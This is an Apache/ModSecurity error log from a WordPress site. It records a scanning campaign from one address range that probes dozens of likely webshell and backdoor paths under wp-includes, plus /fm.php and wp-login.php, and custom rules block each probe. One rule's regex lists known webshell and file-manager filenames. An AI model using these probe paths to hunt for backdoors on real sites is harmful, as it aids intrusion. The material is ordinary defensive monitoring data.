[Wed Apr 22 01:24:19.687598 2026] [:error] [pid 35320:tid 35351] [client 45.137.126.14:60623] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aeeyw4JW6fdXWO6agMFzXQAAABU"]
[Wed Apr 22 01:24:24.677618 2026] [:error] [pid 53731:tid 53743] [client 45.137.126.30:33281] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeeyyF2I9THUR-bRVGzRhwAAAgg"]
[Wed Apr 22 01:24:25.652437 2026] [:error] [pid 53731:tid 53755] [client 45.137.126.38:38967] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aeeyyV2I9THUR-bRVGzRiwAAAhM"]
[Wed Apr 22 01:24:26.628593 2026] [:error] [pid 4823:tid 4853] [client 45.137.126.37:47625] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aeeyyvc8mke3PfHqsxEjIQAAAYA"]
[Wed Apr 22 01:24:27.608683 2026] [:error] [pid 4777:tid 4800] [client 45.137.126.22:44041] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aeeyy6xXur6bykKyLZTKfwAAAQw"]
[Wed Apr 22 01:24:29.089240 2026] [:error] [pid 35321:tid 35387] [client 45.137.126.32:48513] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aeeyzTeHLhVUuu8cVXxLbwAAAEM"]
[Wed Apr 22 01:24:31.068092 2026] [:error] [pid 54080:tid 54082] [client 45.137.126.11:60789] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aeeyz4zEbQHHxtmWbab7DAAAAsA"]
[Wed Apr 22 01:24:40.356498 2026] [:error] [pid 54080:tid 54096] [client 45.137.126.43:36715] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aeey2IzEbQHHxtmWbab7KQAAAs4"]
[Wed Apr 22 01:24:55.660352 2026] [:error] [pid 35321:tid 35400] [client 45.137.126.46:23791] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aeey5zeHLhVUuu8cVXxLwQAAAFA"]
[Wed Apr 22 01:24:59.571382 2026] [:error] [pid 53978:tid 53992] [client 45.137.126.32:59011] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aeey651ivsR4hcOSQbZxmQAAAow"]
[Wed Apr 22 01:25:00.551429 2026] [:error] [pid 35321:tid 35391] [client 45.137.126.46:59579] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aeey7DeHLhVUuu8cVXxL0QAAAEc"]
[Wed Apr 22 01:25:08.393052 2026] [:error] [pid 53731:tid 53739] [client 45.137.126.16:25791] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aeey9F2I9THUR-bRVGzR4QAAAgQ"]
[Wed Apr 22 01:25:15.296015 2026] [proxy_fcgi:error] [pid 35321:tid 35398] [client 45.137.126.27:55883] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:25:15.787253 2026] [proxy_fcgi:error] [pid 35321:tid 35405] [client 45.137.126.27:55883] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:25:16.284429 2026] [proxy_fcgi:error] [pid 35321:tid 35385] [client 45.137.126.27:55883] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:25:18.732974 2026] [:error] [pid 35321:tid 35405] [client 45.137.126.27:55883] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aeey_jeHLhVUuu8cVXxMFQAAAFU"]
[Wed Apr 22 01:25:19.707654 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.22:42317] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aeey_zeHLhVUuu8cVXxMGQAAAFI"]
[Wed Apr 22 01:25:20.679667 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.46:48499] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aeezAIJW6fdXWO6agMF0KgAAAAo"]
[Wed Apr 22 01:25:21.650759 2026] [:error] [pid 35321:tid 35393] [client 45.137.126.45:50117] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aeezATeHLhVUuu8cVXxMIAAAAEk"]
[Wed Apr 22 01:25:22.622309 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.39:27653] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aeezAoJW6fdXWO6agMF0NQAAAAk"]
[Wed Apr 22 01:25:23.597925 2026] [:error] [pid 35320:tid 35354] [client 45.137.126.47:65079] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aeezA4JW6fdXWO6agMF0PgAAABg"]
[Wed Apr 22 01:25:26.603831 2026] [:error] [pid 35320:tid 35337] [client 45.137.126.29:36745] [client 45.137.126.29] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aeezBoJW6fdXWO6agMF0VwAAAAc"]
[Wed Apr 22 01:25:27.576183 2026] [:error] [pid 35320:tid 35352] [client 45.137.126.23:35593] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aeezB4JW6fdXWO6agMF0YQAAABY"]
[Wed Apr 22 01:25:28.552727 2026] [:error] [pid 35321:tid 35403] [client 45.137.126.18:52805] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aeezCDeHLhVUuu8cVXxMKAAAAFM"]
[Wed Apr 22 01:25:29.523298 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.11:36079] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aeezCYJW6fdXWO6agMF0agAAAA8"]
[Wed Apr 22 01:25:33.028394 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.35:57155] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aeezDTeHLhVUuu8cVXxMPwAAAEo"]
[Wed Apr 22 01:25:34.490636 2026] [:error] [pid 35321:tid 35396] [client 45.137.126.13:58557] [client 45.137.126.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aeezDjeHLhVUuu8cVXxMRAAAAEw"]
[Wed Apr 22 01:25:39.472102 2026] [:error] [pid 35321:tid 35400] [client 45.137.126.50:61341] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aeezEzeHLhVUuu8cVXxMUQAAAFA"]
[Wed Apr 22 01:25:42.929048 2026] [:error] [pid 35322:tid 35371] [client 45.137.126.15:48603] [client 45.137.126.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aeezFqPoAfV40BTfVKzvuAAAAI4"]
[Wed Apr 22 01:25:50.110262 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.49:26725] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aeezHp1ivsR4hcOSQbZx0AAAApU"]
[Wed Apr 22 01:25:58.982010 2026] [:error] [pid 35322:tid 35380] [client 45.137.126.30:28255] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aeezJqPoAfV40BTfVKzvwgAAAJc"]
[Wed Apr 22 01:26:02.254587 2026] [:error] [pid 35320:tid 35332] [client 45.137.126.43:39629] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aeezKoJW6fdXWO6agMF0yQAAAAI"]
[Wed Apr 22 01:26:32.819110 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.26:32481] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aeezSIJW6fdXWO6agMF1bAAAAAY"]
[Wed Apr 22 01:26:33.791785 2026] [:error] [pid 4777:tid 4789] [client 45.137.126.45:60497] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aeezSaxXur6bykKyLZTKpAAAAQE"]
[Wed Apr 22 01:26:36.790709 2026] [:error] [pid 53731:tid 53742] [client 45.137.126.41:40127] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aeezTF2I9THUR-bRVGzSZQAAAgc"]
[Wed Apr 22 01:26:41.875362 2026] [:error] [pid 53832:tid 53854] [client 45.137.126.30:25351] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aeezUdzkuxsE_OhM9UKaxgAAAlM"]
[Wed Apr 22 01:26:42.855935 2026] [:error] [pid 53978:tid 53993] [client 45.137.126.32:37851] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aeezUp1ivsR4hcOSQbZycgAAAo0"]
[Wed Apr 22 01:26:50.404844 2026] [:error] [pid 53978:tid 53989] [client 45.137.126.4:55075] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeezWp1ivsR4hcOSQbZyiAAAAok"]
[Wed Apr 22 01:26:51.376665 2026] [:error] [pid 35320:tid 35336] [client 45.137.126.48:38519] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/fm.php"] [unique_id "aeezW4JW6fdXWO6agMF1sQAAAAY"]
[Wed Apr 22 01:27:04.288981 2026] [:error] [pid 35321:tid 35391] [client 45.137.126.21:40197] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aeezaDeHLhVUuu8cVXxNZAAAAEc"]
[Wed Apr 22 01:27:05.779600 2026] [proxy_fcgi:error] [pid 54080:tid 54093] [client 45.137.126.37:63035] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:27:08.377020 2026] [:error] [pid 54080:tid 54082] [client 45.137.126.37:63035] [client 45.137.126.37] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aeezbIzEbQHHxtmWbab7xgAAAsA"]
[Wed Apr 22 01:27:09.349377 2026] [:error] [pid 35321:tid 35392] [client 45.137.126.49:48089] [client 45.137.126.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aeezbTeHLhVUuu8cVXxNbgAAAEg"]
[Wed Apr 22 01:27:13.008075 2026] [:error] [pid 53832:tid 53837] [client 45.137.126.7:54163] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aeezcdzkuxsE_OhM9UKa4wAAAkI"]
[Wed Apr 22 01:27:13.982329 2026] [:error] [pid 35320:tid 35354] [client 45.137.126.22:22795] [client 45.137.126.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aeezcYJW6fdXWO6agMF15AAAABg"]
[Wed Apr 22 01:27:29.586128 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.24:53675] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aeezgYJW6fdXWO6agMF2JgAAAAE"]
[Wed Apr 22 01:27:30.570802 2026] [:error] [pid 35321:tid 35395] [client 45.137.126.48:46031] [client 45.137.126.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aeezgjeHLhVUuu8cVXxNpgAAAEs"]
[Wed Apr 22 01:27:39.596828 2026] [:error] [pid 4777:tid 4802] [client 45.137.126.17:59129] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/index.php"] [unique_id "aeezi6xXur6bykKyLZTKzQAAAQ4"]
[Wed Apr 22 01:27:40.571134 2026] [:error] [pid 35321:tid 35402] [client 45.137.126.47:37591] [client 45.137.126.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aeezjDeHLhVUuu8cVXxNtAAAAFI"]
[Wed Apr 22 01:27:41.547222 2026] [:error] [pid 35321:tid 35394] [client 45.137.126.3:51693] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aeezjTeHLhVUuu8cVXxNtwAAAEo"]
[Wed Apr 22 01:27:50.978058 2026] [:error] [pid 35320:tid 35340] [client 45.137.126.23:42131] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aeezloJW6fdXWO6agMF2cAAAAAo"]
[Wed Apr 22 01:27:54.028672 2026] [:error] [pid 4823:tid 4864] [client 45.137.126.33:43883] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aeezmvc8mke3PfHqsxEjjwAAAYs"]
[Wed Apr 22 01:28:07.186418 2026] [:error] [pid 35320:tid 35343] [client 45.137.126.10:49447] [client 45.137.126.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/js/wp-login.php"] [unique_id "aeezp4JW6fdXWO6agMF2zAAAAA0"]
[Wed Apr 22 01:28:19.592528 2026] [:error] [pid 35320:tid 35334] [client 45.137.126.10:49447] [client 45.137.126.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.137.126.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "aeezs4JW6fdXWO6agMF2-wAAAAQ"]
[Wed Apr 22 01:28:39.247291 2026] [proxy_fcgi:error] [pid 35320:tid 35341] [client 45.137.126.10:49447] AH01071: Got error 'Primary script unknown'
